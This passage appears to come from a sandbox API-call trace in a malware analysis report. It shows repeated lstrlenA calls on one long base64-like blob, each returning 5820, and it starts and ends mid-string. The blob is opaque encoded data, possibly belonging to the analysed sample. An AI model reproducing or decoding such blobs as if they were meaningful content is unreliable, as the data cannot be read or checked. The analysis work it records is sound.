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") returned 5820
	[0084.640] lstrlenA (lpString="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") returned 5820
	[0084.640] lstrlenA (lpString="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